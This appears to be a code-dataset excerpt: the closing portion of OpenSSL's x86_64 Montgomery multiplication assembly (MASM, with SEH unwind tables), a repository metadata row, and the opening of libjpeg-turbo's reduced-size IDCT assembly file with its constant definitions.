call __bn_sqrx8x_internal
call __bn_sqrx8x_internal
call __bn_sqrx8x_internal
mov r9,r10
mov rdi,rsi
DB 102,72,15,126,209
DB 102,72,15,126,226
mov rax,QWORD PTR[40+rsp]
call mulx4x_internal
mov rsi,QWORD PTR[40+rsp]
mov rax,1
movaps xmm6,XMMWORD PTR[((-88))+rsi]
movaps xmm7,XMMWORD PTR[((-72))+rsi]
mov r15,QWORD PTR[((-48))+rsi]
mov r14,QWORD PTR[((-40))+rsi]
mov r13,QWORD PTR[((-32))+rsi]
mov r12,QWORD PTR[((-24))+rsi]
mov rbp,QWORD PTR[((-16))+rsi]
mov rbx,QWORD PTR[((-8))+rsi]
lea rsp,QWORD PTR[rsi]
$L$powerx5_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_bn_powerx5::
bn_powerx5 ENDP
PUBLIC bn_sqrx8x_internal
ALIGN 32
bn_sqrx8x_internal PROC PUBLIC
__bn_sqrx8x_internal::
lea rdi,QWORD PTR[((48+8))+rsp]
lea rbp,QWORD PTR[r9*1+rsi]
mov QWORD PTR[((0+8))+rsp],r9
mov QWORD PTR[((8+8))+rsp],rbp
jmp $L$sqr8x_zero_start
ALIGN 32
DB 066h,066h,066h,02eh,00fh,01fh,084h,000h,000h,000h,000h,000h
$L$sqrx8x_zero::
DB 03eh
movdqa XMMWORD PTR[rdi],xmm0
movdqa XMMWORD PTR[16+rdi],xmm0
movdqa XMMWORD PTR[32+rdi],xmm0
movdqa XMMWORD PTR[48+rdi],xmm0
$L$sqr8x_zero_start::
movdqa XMMWORD PTR[64+rdi],xmm0
movdqa XMMWORD PTR[80+rdi],xmm0
movdqa XMMWORD PTR[96+rdi],xmm0
movdqa XMMWORD PTR[112+rdi],xmm0
lea rdi,QWORD PTR[128+rdi]
sub r9,64
jnz $L$sqrx8x_zero
mov rdx,QWORD PTR[rsi]
xor r10,r10
xor r11,r11
xor r12,r12
xor r13,r13
xor r14,r14
xor r15,r15
lea rdi,QWORD PTR[((48+8))+rsp]
xor rbp,rbp
jmp $L$sqrx8x_outer_loop
ALIGN 32
$L$sqrx8x_outer_loop::
mulx rax,r8,QWORD PTR[8+rsi]
adcx r8,r9
adox r10,rax
mulx rax,r9,QWORD PTR[16+rsi]
adcx r9,r10
adox r11,rax
DB 0c4h,0e2h,0abh,0f6h,086h,018h,000h,000h,000h
adcx r10,r11
adox r12,rax
DB 0c4h,0e2h,0a3h,0f6h,086h,020h,000h,000h,000h
adcx r11,r12
adox r13,rax
mulx rax,r12,QWORD PTR[40+rsi]
adcx r12,r13
adox r14,rax
mulx rax,r13,QWORD PTR[48+rsi]
adcx r13,r14
adox rax,r15
mulx r15,r14,QWORD PTR[56+rsi]
mov rdx,QWORD PTR[8+rsi]
adcx r14,rax
adox r15,rbp
adc r15,QWORD PTR[64+rdi]
mov QWORD PTR[8+rdi],r8
mov QWORD PTR[16+rdi],r9
sbb rcx,rcx
xor rbp,rbp
mulx rbx,r8,QWORD PTR[16+rsi]
mulx rax,r9,QWORD PTR[24+rsi]
adcx r8,r10
adox r9,rbx
mulx rbx,r10,QWORD PTR[32+rsi]
adcx r9,r11
adox r10,rax
DB 0c4h,0e2h,0a3h,0f6h,086h,028h,000h,000h,000h
adcx r10,r12
adox r11,rbx
DB 0c4h,0e2h,09bh,0f6h,09eh,030h,000h,000h,000h
adcx r11,r13
adox r12,r14
DB 0c4h,062h,093h,0f6h,0b6h,038h,000h,000h,000h
mov rdx,QWORD PTR[16+rsi]
adcx r12,rax
adox r13,rbx
adcx r13,r15
adox r14,rbp
adcx r14,rbp
mov QWORD PTR[24+rdi],r8
mov QWORD PTR[32+rdi],r9
mulx rbx,r8,QWORD PTR[24+rsi]
mulx rax,r9,QWORD PTR[32+rsi]
adcx r8,r10
adox r9,rbx
mulx rbx,r10,QWORD PTR[40+rsi]
adcx r9,r11
adox r10,rax
DB 0c4h,0e2h,0a3h,0f6h,086h,030h,000h,000h,000h
adcx r10,r12
adox r11,r13
DB 0c4h,062h,09bh,0f6h,0aeh,038h,000h,000h,000h
DB 03eh
mov rdx,QWORD PTR[24+rsi]
adcx r11,rbx
adox r12,rax
adcx r12,r14
mov QWORD PTR[40+rdi],r8
mov QWORD PTR[48+rdi],r9
mulx rax,r8,QWORD PTR[32+rsi]
adox r13,rbp
adcx r13,rbp
mulx rbx,r9,QWORD PTR[40+rsi]
adcx r8,r10
adox r9,rax
mulx rax,r10,QWORD PTR[48+rsi]
adcx r9,r11
adox r10,r12
mulx r12,r11,QWORD PTR[56+rsi]
mov rdx,QWORD PTR[32+rsi]
mov r14,QWORD PTR[40+rsi]
adcx r10,rbx
adox r11,rax
mov r15,QWORD PTR[48+rsi]
adcx r11,r13
adox r12,rbp
adcx r12,rbp
mov QWORD PTR[56+rdi],r8
mov QWORD PTR[64+rdi],r9
mulx rax,r9,r14
mov r8,QWORD PTR[56+rsi]
adcx r9,r10
mulx rbx,r10,r15
adox r10,rax
adcx r10,r11
mulx rax,r11,r8
mov rdx,r14
adox r11,rbx
adcx r11,r12
adcx rax,rbp
mulx rbx,r14,r15
mulx r13,r12,r8
mov rdx,r15
lea rsi,QWORD PTR[64+rsi]
adcx r11,r14
adox r12,rbx
adcx r12,rax
adox r13,rbp
DB 067h,067h
mulx r14,r8,r8
adcx r13,r8
adcx r14,rbp
cmp rsi,QWORD PTR[((8+8))+rsp]
je $L$sqrx8x_outer_break
neg rcx
mov rcx,-8
mov r15,rbp
mov r8,QWORD PTR[64+rdi]
adcx r9,QWORD PTR[72+rdi]
adcx r10,QWORD PTR[80+rdi]
adcx r11,QWORD PTR[88+rdi]
adc r12,QWORD PTR[96+rdi]
adc r13,QWORD PTR[104+rdi]
adc r14,QWORD PTR[112+rdi]
adc r15,QWORD PTR[120+rdi]
lea rbp,QWORD PTR[rsi]
lea rdi,QWORD PTR[128+rdi]
sbb rax,rax
mov rdx,QWORD PTR[((-64))+rsi]
mov QWORD PTR[((16+8))+rsp],rax
mov QWORD PTR[((24+8))+rsp],rdi
xor eax,eax
jmp $L$sqrx8x_loop
ALIGN 32
$L$sqrx8x_loop::
mov rbx,r8
mulx r8,rax,QWORD PTR[rbp]
adcx rbx,rax
adox r8,r9
mulx r9,rax,QWORD PTR[8+rbp]
adcx r8,rax
adox r9,r10
mulx r10,rax,QWORD PTR[16+rbp]
adcx r9,rax
adox r10,r11
mulx r11,rax,QWORD PTR[24+rbp]
adcx r10,rax
adox r11,r12
DB 0c4h,062h,0fbh,0f6h,0a5h,020h,000h,000h,000h
adcx r11,rax
adox r12,r13
mulx r13,rax,QWORD PTR[40+rbp]
adcx r12,rax
adox r13,r14
mulx r14,rax,QWORD PTR[48+rbp]
mov QWORD PTR[rcx*8+rdi],rbx
mov ebx,0
adcx r13,rax
adox r14,r15
DB 0c4h,062h,0fbh,0f6h,0bdh,038h,000h,000h,000h
mov rdx,QWORD PTR[8+rcx*8+rsi]
adcx r14,rax
adox r15,rbx
adcx r15,rbx
DB 067h
inc rcx
jnz $L$sqrx8x_loop
lea rbp,QWORD PTR[64+rbp]
mov rcx,-8
cmp rbp,QWORD PTR[((8+8))+rsp]
je $L$sqrx8x_break
sub rbx,QWORD PTR[((16+8))+rsp]
DB 066h
mov rdx,QWORD PTR[((-64))+rsi]
adcx r8,QWORD PTR[rdi]
adcx r9,QWORD PTR[8+rdi]
adc r10,QWORD PTR[16+rdi]
adc r11,QWORD PTR[24+rdi]
adc r12,QWORD PTR[32+rdi]
adc r13,QWORD PTR[40+rdi]
adc r14,QWORD PTR[48+rdi]
adc r15,QWORD PTR[56+rdi]
lea rdi,QWORD PTR[64+rdi]
DB 067h
sbb rax,rax
xor ebx,ebx
mov QWORD PTR[((16+8))+rsp],rax
jmp $L$sqrx8x_loop
ALIGN 32
$L$sqrx8x_break::
sub r8,QWORD PTR[((16+8))+rsp]
mov rcx,QWORD PTR[((24+8))+rsp]
mov rdx,QWORD PTR[rsi]
xor ebp,ebp
mov QWORD PTR[rdi],r8
cmp rdi,rcx
je $L$sqrx8x_outer_loop
mov QWORD PTR[8+rdi],r9
mov r9,QWORD PTR[8+rcx]
mov QWORD PTR[16+rdi],r10
mov r10,QWORD PTR[16+rcx]
mov QWORD PTR[24+rdi],r11
mov r11,QWORD PTR[24+rcx]
mov QWORD PTR[32+rdi],r12
mov r12,QWORD PTR[32+rcx]
mov QWORD PTR[40+rdi],r13
mov r13,QWORD PTR[40+rcx]
mov QWORD PTR[48+rdi],r14
mov r14,QWORD PTR[48+rcx]
mov QWORD PTR[56+rdi],r15
mov r15,QWORD PTR[56+rcx]
mov rdi,rcx
jmp $L$sqrx8x_outer_loop
ALIGN 32
$L$sqrx8x_outer_break::
mov QWORD PTR[72+rdi],r9
DB 102,72,15,126,217
mov QWORD PTR[80+rdi],r10
mov QWORD PTR[88+rdi],r11
mov QWORD PTR[96+rdi],r12
mov QWORD PTR[104+rdi],r13
mov QWORD PTR[112+rdi],r14
lea rdi,QWORD PTR[((48+8))+rsp]
mov rdx,QWORD PTR[rcx*1+rsi]
mov r11,QWORD PTR[8+rdi]
xor r10,r10
mov r9,QWORD PTR[((0+8))+rsp]
adox r11,r11
mov r12,QWORD PTR[16+rdi]
mov r13,QWORD PTR[24+rdi]
ALIGN 32
$L$sqrx4x_shift_n_add::
mulx rbx,rax,rdx
adox r12,r12
adcx rax,r10
DB 048h,08bh,094h,00eh,008h,000h,000h,000h
DB 04ch,08bh,097h,020h,000h,000h,000h
adox r13,r13
adcx rbx,r11
mov r11,QWORD PTR[40+rdi]
mov QWORD PTR[rdi],rax
mov QWORD PTR[8+rdi],rbx
mulx rbx,rax,rdx
adox r10,r10
adcx rax,r12
mov rdx,QWORD PTR[16+rcx*1+rsi]
mov r12,QWORD PTR[48+rdi]
adox r11,r11
adcx rbx,r13
mov r13,QWORD PTR[56+rdi]
mov QWORD PTR[16+rdi],rax
mov QWORD PTR[24+rdi],rbx
mulx rbx,rax,rdx
adox r12,r12
adcx rax,r10
mov rdx,QWORD PTR[24+rcx*1+rsi]
lea rcx,QWORD PTR[32+rcx]
mov r10,QWORD PTR[64+rdi]
adox r13,r13
adcx rbx,r11
mov r11,QWORD PTR[72+rdi]
mov QWORD PTR[32+rdi],rax
mov QWORD PTR[40+rdi],rbx
mulx rbx,rax,rdx
adox r10,r10
adcx rax,r12
jrcxz $L$sqrx4x_shift_n_add_break
DB 048h,08bh,094h,00eh,000h,000h,000h,000h
adox r11,r11
adcx rbx,r13
mov r12,QWORD PTR[80+rdi]
mov r13,QWORD PTR[88+rdi]
mov QWORD PTR[48+rdi],rax
mov QWORD PTR[56+rdi],rbx
lea rdi,QWORD PTR[64+rdi]
nop
jmp $L$sqrx4x_shift_n_add
ALIGN 32
$L$sqrx4x_shift_n_add_break::
adcx rbx,r13
mov QWORD PTR[48+rdi],rax
mov QWORD PTR[56+rdi],rbx
lea rdi,QWORD PTR[64+rdi]
DB 102,72,15,126,213
sqrx8x_reduction::
xor eax,eax
mov rbx,QWORD PTR[((32+8))+rsp]
mov rdx,QWORD PTR[((48+8))+rsp]
lea rcx,QWORD PTR[((-128))+r9*2+rbp]
mov QWORD PTR[((0+8))+rsp],rcx
mov QWORD PTR[((8+8))+rsp],rdi
lea rdi,QWORD PTR[((48+8))+rsp]
jmp $L$sqrx8x_reduction_loop
ALIGN 32
$L$sqrx8x_reduction_loop::
mov r9,QWORD PTR[8+rdi]
mov r10,QWORD PTR[16+rdi]
mov r11,QWORD PTR[24+rdi]
mov r12,QWORD PTR[32+rdi]
mov r8,rdx
imul rdx,rbx
mov r13,QWORD PTR[40+rdi]
mov r14,QWORD PTR[48+rdi]
mov r15,QWORD PTR[56+rdi]
mov QWORD PTR[((24+8))+rsp],rax
lea rdi,QWORD PTR[64+rdi]
xor rsi,rsi
mov rcx,-8
jmp $L$sqrx8x_reduce
ALIGN 32
$L$sqrx8x_reduce::
mov rbx,r8
mulx r8,rax,QWORD PTR[rbp]
adcx rax,rbx
adox r8,r9
mulx r9,rbx,QWORD PTR[16+rbp]
adcx r8,rbx
adox r9,r10
mulx r10,rbx,QWORD PTR[32+rbp]
adcx r9,rbx
adox r10,r11
mulx r11,rbx,QWORD PTR[48+rbp]
adcx r10,rbx
adox r11,r12
DB 0c4h,062h,0e3h,0f6h,0a5h,040h,000h,000h,000h
mov rax,rdx
mov rdx,r8
adcx r11,rbx
adox r12,r13
mulx rdx,rbx,QWORD PTR[((32+8))+rsp]
mov rdx,rax
mov QWORD PTR[((64+48+8))+rcx*8+rsp],rax
mulx r13,rax,QWORD PTR[80+rbp]
adcx r12,rax
adox r13,r14
mulx r14,rax,QWORD PTR[96+rbp]
adcx r13,rax
adox r14,r15
mulx r15,rax,QWORD PTR[112+rbp]
mov rdx,rbx
adcx r14,rax
adox r15,rsi
adcx r15,rsi
DB 067h,067h,067h
inc rcx
jnz $L$sqrx8x_reduce
mov rax,rsi
cmp rbp,QWORD PTR[((0+8))+rsp]
jae $L$sqrx8x_no_tail
mov rdx,QWORD PTR[((48+8))+rsp]
add r8,QWORD PTR[rdi]
lea rbp,QWORD PTR[128+rbp]
mov rcx,-8
adcx r9,QWORD PTR[8+rdi]
adcx r10,QWORD PTR[16+rdi]
adc r11,QWORD PTR[24+rdi]
adc r12,QWORD PTR[32+rdi]
adc r13,QWORD PTR[40+rdi]
adc r14,QWORD PTR[48+rdi]
adc r15,QWORD PTR[56+rdi]
lea rdi,QWORD PTR[64+rdi]
sbb rax,rax
xor rsi,rsi
mov QWORD PTR[((16+8))+rsp],rax
jmp $L$sqrx8x_tail
ALIGN 32
$L$sqrx8x_tail::
mov rbx,r8
mulx r8,rax,QWORD PTR[rbp]
adcx rbx,rax
adox r8,r9
mulx r9,rax,QWORD PTR[16+rbp]
adcx r8,rax
adox r9,r10
mulx r10,rax,QWORD PTR[32+rbp]
adcx r9,rax
adox r10,r11
mulx r11,rax,QWORD PTR[48+rbp]
adcx r10,rax
adox r11,r12
DB 0c4h,062h,0fbh,0f6h,0a5h,040h,000h,000h,000h
adcx r11,rax
adox r12,r13
mulx r13,rax,QWORD PTR[80+rbp]
adcx r12,rax
adox r13,r14
mulx r14,rax,QWORD PTR[96+rbp]
adcx r13,rax
adox r14,r15
mulx r15,rax,QWORD PTR[112+rbp]
mov rdx,QWORD PTR[((72+48+8))+rcx*8+rsp]
adcx r14,rax
adox r15,rsi
mov QWORD PTR[rcx*8+rdi],rbx
mov rbx,r8
adcx r15,rsi
inc rcx
jnz $L$sqrx8x_tail
cmp rbp,QWORD PTR[((0+8))+rsp]
jae $L$sqrx8x_tail_done
sub rsi,QWORD PTR[((16+8))+rsp]
mov rdx,QWORD PTR[((48+8))+rsp]
lea rbp,QWORD PTR[128+rbp]
adc r8,QWORD PTR[rdi]
adc r9,QWORD PTR[8+rdi]
adc r10,QWORD PTR[16+rdi]
adc r11,QWORD PTR[24+rdi]
adc r12,QWORD PTR[32+rdi]
adc r13,QWORD PTR[40+rdi]
adc r14,QWORD PTR[48+rdi]
adc r15,QWORD PTR[56+rdi]
lea rdi,QWORD PTR[64+rdi]
sbb rax,rax
sub rcx,8
xor rsi,rsi
mov QWORD PTR[((16+8))+rsp],rax
jmp $L$sqrx8x_tail
ALIGN 32
$L$sqrx8x_tail_done::
add r8,QWORD PTR[((24+8))+rsp]
adc r9,0
adc r10,0
adc r11,0
adc r12,0
adc r13,0
adc r14,0
adc r15,0
mov rax,rsi
sub rsi,QWORD PTR[((16+8))+rsp]
$L$sqrx8x_no_tail::
adc r8,QWORD PTR[rdi]
DB 102,72,15,126,217
adc r9,QWORD PTR[8+rdi]
mov rsi,QWORD PTR[112+rbp]
DB 102,72,15,126,213
adc r10,QWORD PTR[16+rdi]
adc r11,QWORD PTR[24+rdi]
adc r12,QWORD PTR[32+rdi]
adc r13,QWORD PTR[40+rdi]
adc r14,QWORD PTR[48+rdi]
adc r15,QWORD PTR[56+rdi]
adc rax,rax
mov rbx,QWORD PTR[((32+8))+rsp]
mov rdx,QWORD PTR[64+rcx*1+rdi]
mov QWORD PTR[rdi],r8
lea r8,QWORD PTR[64+rdi]
mov QWORD PTR[8+rdi],r9
mov QWORD PTR[16+rdi],r10
mov QWORD PTR[24+rdi],r11
mov QWORD PTR[32+rdi],r12
mov QWORD PTR[40+rdi],r13
mov QWORD PTR[48+rdi],r14
mov QWORD PTR[56+rdi],r15
lea rdi,QWORD PTR[64+rcx*1+rdi]
cmp r8,QWORD PTR[((8+8))+rsp]
jb $L$sqrx8x_reduction_loop
xor ebx,ebx
sub rsi,r15
adc rbx,rbx
mov r10,rcx
or rax,rbx
mov r9,rcx
xor rax,1
sar rcx,3+2
lea rbp,QWORD PTR[rax*8+rbp]
DB 102,72,15,126,202
DB 102,72,15,126,206
jmp $L$sqrx4x_sub
ALIGN 32
$L$sqrx4x_sub::
DB 066h
mov r12,QWORD PTR[rdi]
mov r13,QWORD PTR[8+rdi]
sbb r12,QWORD PTR[rbp]
mov r14,QWORD PTR[16+rdi]
sbb r13,QWORD PTR[16+rbp]
mov r15,QWORD PTR[24+rdi]
lea rdi,QWORD PTR[32+rdi]
sbb r14,QWORD PTR[32+rbp]
mov QWORD PTR[rdx],r12
sbb r15,QWORD PTR[48+rbp]
lea rbp,QWORD PTR[64+rbp]
mov QWORD PTR[8+rdx],r13
mov QWORD PTR[16+rdx],r14
mov QWORD PTR[24+rdx],r15
lea rdx,QWORD PTR[32+rdx]
inc rcx
jnz $L$sqrx4x_sub
neg r9
DB 0F3h,0C3h ;repret
bn_sqrx8x_internal ENDP
PUBLIC bn_get_bits5
ALIGN 16
bn_get_bits5 PROC PUBLIC
lea r10,QWORD PTR[rcx]
lea r11,QWORD PTR[1+rcx]
mov ecx,edx
shr edx,4
and ecx,15
lea eax,DWORD PTR[((-8))+rcx]
cmp ecx,11
cmova r10,r11
cmova ecx,eax
movzx eax,WORD PTR[rdx*2+r10]
shr eax,cl
and eax,31
DB 0F3h,0C3h ;repret
bn_get_bits5 ENDP
PUBLIC bn_scatter5
ALIGN 16
bn_scatter5 PROC PUBLIC
cmp edx,0
jz $L$scatter_epilogue
lea r8,QWORD PTR[r9*8+r8]
$L$scatter::
mov rax,QWORD PTR[rcx]
lea rcx,QWORD PTR[8+rcx]
mov QWORD PTR[r8],rax
lea r8,QWORD PTR[256+r8]
sub edx,1
jnz $L$scatter
$L$scatter_epilogue::
DB 0F3h,0C3h ;repret
bn_scatter5 ENDP
PUBLIC bn_gather5
ALIGN 16
bn_gather5 PROC PUBLIC
$L$SEH_begin_bn_gather5::
DB 048h,083h,0ech,028h
DB 00fh,029h,034h,024h
DB 00fh,029h,07ch,024h,010h
mov r11d,r9d
shr r9d,3
and r11,7
not r9d
lea rax,QWORD PTR[$L$magic_masks]
and r9d,3
lea r8,QWORD PTR[128+r11*8+r8]
movq xmm4,QWORD PTR[r9*8+rax]
movq xmm5,QWORD PTR[8+r9*8+rax]
movq xmm6,QWORD PTR[16+r9*8+rax]
movq xmm7,QWORD PTR[24+r9*8+rax]
jmp $L$gather
ALIGN 16
$L$gather::
movq xmm0,QWORD PTR[((-128))+r8]
movq xmm1,QWORD PTR[((-64))+r8]
pand xmm0,xmm4
movq xmm2,QWORD PTR[r8]
pand xmm1,xmm5
movq xmm3,QWORD PTR[64+r8]
pand xmm2,xmm6
por xmm0,xmm1
pand xmm3,xmm7
DB 067h,067h
por xmm0,xmm2
lea r8,QWORD PTR[256+r8]
por xmm0,xmm3
movq QWORD PTR[rcx],xmm0
lea rcx,QWORD PTR[8+rcx]
sub edx,1
jnz $L$gather
movaps xmm6,XMMWORD PTR[rsp]
movaps xmm7,XMMWORD PTR[16+rsp]
lea rsp,QWORD PTR[40+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_bn_gather5::
bn_gather5 ENDP
ALIGN 64
$L$magic_masks::
DD 0,0,0,0,0,0,-1,-1
DD 0,0,0,0,0,0,0,0
DB 77,111,110,116,103,111,109,101,114,121,32,77,117,108,116,105
DB 112,108,105,99,97,116,105,111,110,32,119,105,116,104,32,115
DB 99,97,116,116,101,114,47,103,97,116,104,101,114,32,102,111
DB 114,32,120,56,54,95,54,52,44,32,67,82,89,80,84,79
DB 71,65,77,83,32,98,121,32,60,97,112,112,114,111,64,111
DB 112,101,110,115,115,108,46,111,114,103,62,0
EXTERN __imp_RtlVirtualUnwind:NEAR
ALIGN 16
mul_handler PROC PRIVATE
push rsi
push rdi
push rbx
push rbp
push r12
push r13
push r14
push r15
pushfq
sub rsp,64
mov rax,QWORD PTR[120+r8]
mov rbx,QWORD PTR[248+r8]
mov rsi,QWORD PTR[8+r9]
mov r11,QWORD PTR[56+r9]
mov r10d,DWORD PTR[r11]
lea r10,QWORD PTR[r10*1+rsi]
cmp rbx,r10
jb $L$common_seh_tail
mov rax,QWORD PTR[152+r8]
mov r10d,DWORD PTR[4+r11]
lea r10,QWORD PTR[r10*1+rsi]
cmp rbx,r10
jae $L$common_seh_tail
lea r10,QWORD PTR[$L$mul_epilogue]
cmp rbx,r10
jb $L$body_40
mov r10,QWORD PTR[192+r8]
mov rax,QWORD PTR[8+r10*8+rax]
jmp $L$body_proceed
$L$body_40::
mov rax,QWORD PTR[40+rax]
$L$body_proceed::
movaps xmm0,XMMWORD PTR[((-88))+rax]
movaps xmm1,XMMWORD PTR[((-72))+rax]
mov rbx,QWORD PTR[((-8))+rax]
mov rbp,QWORD PTR[((-16))+rax]
mov r12,QWORD PTR[((-24))+rax]
mov r13,QWORD PTR[((-32))+rax]
mov r14,QWORD PTR[((-40))+rax]
mov r15,QWORD PTR[((-48))+rax]
mov QWORD PTR[144+r8],rbx
mov QWORD PTR[160+r8],rbp
mov QWORD PTR[216+r8],r12
mov QWORD PTR[224+r8],r13
mov QWORD PTR[232+r8],r14
mov QWORD PTR[240+r8],r15
movups XMMWORD PTR[512+r8],xmm0
movups XMMWORD PTR[528+r8],xmm1
$L$common_seh_tail::
mov rdi,QWORD PTR[8+rax]
mov rsi,QWORD PTR[16+rax]
mov QWORD PTR[152+r8],rax
mov QWORD PTR[168+r8],rsi
mov QWORD PTR[176+r8],rdi
mov rdi,QWORD PTR[40+r9]
mov rsi,r8
mov ecx,154
DD 0a548f3fch
mov rsi,r9
xor rcx,rcx
mov rdx,QWORD PTR[8+rsi]
mov r8,QWORD PTR[rsi]
mov r9,QWORD PTR[16+rsi]
mov r10,QWORD PTR[40+rsi]
lea r11,QWORD PTR[56+rsi]
lea r12,QWORD PTR[24+rsi]
mov QWORD PTR[32+rsp],r10
mov QWORD PTR[40+rsp],r11
mov QWORD PTR[48+rsp],r12
mov QWORD PTR[56+rsp],rcx
call QWORD PTR[__imp_RtlVirtualUnwind]
mov eax,1
add rsp,64
popfq
pop r15
pop r14
pop r13
pop r12
pop rbp
pop rbx
pop rdi
pop rsi
DB 0F3h,0C3h ;repret
mul_handler ENDP
.text$ ENDS
.pdata SEGMENT READONLY ALIGN(4)
ALIGN 4
DD imagerel $L$SEH_begin_bn_mul_mont_gather5
DD imagerel $L$SEH_end_bn_mul_mont_gather5
DD imagerel $L$SEH_info_bn_mul_mont_gather5
DD imagerel $L$SEH_begin_bn_mul4x_mont_gather5
DD imagerel $L$SEH_end_bn_mul4x_mont_gather5
DD imagerel $L$SEH_info_bn_mul4x_mont_gather5
DD imagerel $L$SEH_begin_bn_power5
DD imagerel $L$SEH_end_bn_power5
DD imagerel $L$SEH_info_bn_power5
DD imagerel $L$SEH_begin_bn_from_mont8x
DD imagerel $L$SEH_end_bn_from_mont8x
DD imagerel $L$SEH_info_bn_from_mont8x
DD imagerel $L$SEH_begin_bn_mulx4x_mont_gather5
DD imagerel $L$SEH_end_bn_mulx4x_mont_gather5
DD imagerel $L$SEH_info_bn_mulx4x_mont_gather5
DD imagerel $L$SEH_begin_bn_powerx5
DD imagerel $L$SEH_end_bn_powerx5
DD imagerel $L$SEH_info_bn_powerx5
DD imagerel $L$SEH_begin_bn_gather5
DD imagerel $L$SEH_end_bn_gather5
DD imagerel $L$SEH_info_bn_gather5
.pdata ENDS
.xdata SEGMENT READONLY ALIGN(8)
ALIGN 8
$L$SEH_info_bn_mul_mont_gather5::
DB 9,0,0,0
DD imagerel mul_handler
DD imagerel $L$mul_body,imagerel $L$mul_epilogue
ALIGN 8
$L$SEH_info_bn_mul4x_mont_gather5::
DB 9,0,0,0
DD imagerel mul_handler
DD imagerel $L$mul4x_body,imagerel $L$mul4x_epilogue
ALIGN 8
$L$SEH_info_bn_power5::
DB 9,0,0,0
DD imagerel mul_handler
DD imagerel $L$power5_body,imagerel $L$power5_epilogue
ALIGN 8
$L$SEH_info_bn_from_mont8x::
DB 9,0,0,0
DD imagerel mul_handler
DD imagerel $L$from_body,imagerel $L$from_epilogue
ALIGN 8
$L$SEH_info_bn_mulx4x_mont_gather5::
DB 9,0,0,0
DD imagerel mul_handler
DD imagerel $L$mulx4x_body,imagerel $L$mulx4x_epilogue
ALIGN 8
$L$SEH_info_bn_powerx5::
DB 9,0,0,0
DD imagerel mul_handler
DD imagerel $L$powerx5_body,imagerel $L$powerx5_epilogue
ALIGN 8
$L$SEH_info_bn_gather5::
DB 001h,00dh,005h,000h
DB 00dh,078h,001h,000h
DB 008h,068h,000h,000h
DB 004h,042h,000h,000h
ALIGN 8
.xdata ENDS
END
| jdgarcia/nodegit | vendor/openssl/asm/x64-win32-masm/bn/x86_64-mont5.asm | Assembly | mit | 55,456 |
;
; jidctred.asm - reduced-size IDCT (64-bit SSE2)
;
; Copyright 2009 Pierre Ossman <ossman@cendio.se> for Cendio AB
; Copyright (C) 2009, 2016, D. R. Commander.
;
; Based on the x86 SIMD extension for IJG JPEG library
; Copyright (C) 1999-2006, MIYASAKA Masaru.
; For conditions of distribution and use, see copyright notice in jsimdext.inc
;
; This file should be assembled with NASM (Netwide Assembler),
; can *not* be assembled with Microsoft's MASM or any compatible
; assembler (including Borland's Turbo Assembler).
; NASM is available from http://nasm.sourceforge.net/ or
; http://sourceforge.net/project/showfiles.php?group_id=6208
;
; This file contains inverse-DCT routines that produce reduced-size
; output: either 4x4 or 2x2 pixels from an 8x8 DCT block.
; The following code is based directly on the IJG's original jidctred.c;
; see the jidctred.c for more details.
;
; [TAB8]
%include "jsimdext.inc"
%include "jdct.inc"
; --------------------------------------------------------------------------
%define CONST_BITS 13
%define PASS1_BITS 2
%define DESCALE_P1_4 (CONST_BITS - PASS1_BITS + 1)
%define DESCALE_P2_4 (CONST_BITS + PASS1_BITS + 3 + 1)
%define DESCALE_P1_2 (CONST_BITS - PASS1_BITS + 2)
%define DESCALE_P2_2 (CONST_BITS + PASS1_BITS + 3 + 2)
%if CONST_BITS == 13
F_0_211 equ 1730 ; FIX(0.211164243)
F_0_509 equ 4176 ; FIX(0.509795579)
F_0_601 equ 4926 ; FIX(0.601344887)
F_0_720 equ 5906 ; FIX(0.720959822)
F_0_765 equ 6270 ; FIX(0.765366865)
F_0_850 equ 6967 ; FIX(0.850430095)
F_0_899 equ 7373 ; FIX(0.899976223)
F_1_061 equ 8697 ; FIX(1.061594337)
F_1_272 equ 10426 ; FIX(1.272758580)
F_1_451 equ 11893 ; FIX(1.451774981)
F_1_847 equ 15137 ; FIX(1.847759065)
F_2_172 equ 17799 ; FIX(2.172734803)
F_2_562 equ 20995 ; FIX(2.562915447)
F_3_624 equ 29692 ; FIX(3.624509785)
%else
; NASM cannot do compile-time arithmetic on floating-point constants.
%define DESCALE(x, n) (((x) + (1 << ((n) - 1))) >> (n))
F_0_211 equ DESCALE( 226735879, 30 - CONST_BITS) ; FIX(0.211164243)
F_0_509 equ DESCALE( 547388834, 30 - CONST_BITS) ; FIX(0.509795579)
F_0_601 equ DESCALE( 645689155, 30 - CONST_BITS) ; FIX(0.601344887)
F_0_720 equ DESCALE( 774124714, 30 - CONST_BITS) ; FIX(0.720959822)
F_0_765 equ DESCALE( 821806413, 30 - CONST_BITS) ; FIX(0.765366865)
F_0_850 equ DESCALE( 913142361, 30 - CONST_BITS) ; FIX(0.850430095)
F_0_899 equ DESCALE( 966342111, 30 - CONST_BITS) ; FIX(0.899976223)
F_1_061 equ DESCALE(1139878239, 30 - CONST_BITS) ; FIX(1.061594337)
F_1_272 equ DESCALE(1366614119, 30 - CONST_BITS) ; FIX(1.272758580)
F_1_451 equ DESCALE(1558831516, 30 - CONST_BITS) ; FIX(1.451774981)
F_1_847 equ DESCALE(1984016188, 30 - CONST_BITS) ; FIX(1.847759065)
F_2_172 equ DESCALE(2332956230, 30 - CONST_BITS) ; FIX(2.172734803)
F_2_562 equ DESCALE(2751909506, 30 - CONST_BITS) ; FIX(2.562915447)
F_3_624 equ DESCALE(3891787747, 30 - CONST_BITS) ; FIX(3.624509785)
%endif
; --------------------------------------------------------------------------
SECTION SEG_CONST
alignz 32
GLOBAL_DATA(jconst_idct_red_sse2)
EXTN(jconst_idct_red_sse2):
PW_F184_MF076 times 4 dw F_1_847, -F_0_765
PW_F256_F089 times 4 dw F_2_562, F_0_899
PW_F106_MF217 times 4 dw F_1_061, -F_2_172
PW_MF060_MF050 times 4 dw -F_0_601, -F_0_509
PW_F145_MF021 times 4 dw F_1_451, -F_0_211
PW_F362_MF127 times 4 dw F_3_624, -F_1_272
PW_F085_MF072 times 4 dw F_0_850, -F_0_720
PD_DESCALE_P1_4 times 4 dd 1 << (DESCALE_P1_4 - 1)
PD_DESCALE_P2_4 times 4 dd 1 << (DESCALE_P2_4 - 1)
PD_DESCALE_P1_2 times 4 dd 1 << (DESCALE_P1_2 - 1)
PD_DESCALE_P2_2 times 4 dd 1 << (DESCALE_P2_2 - 1)
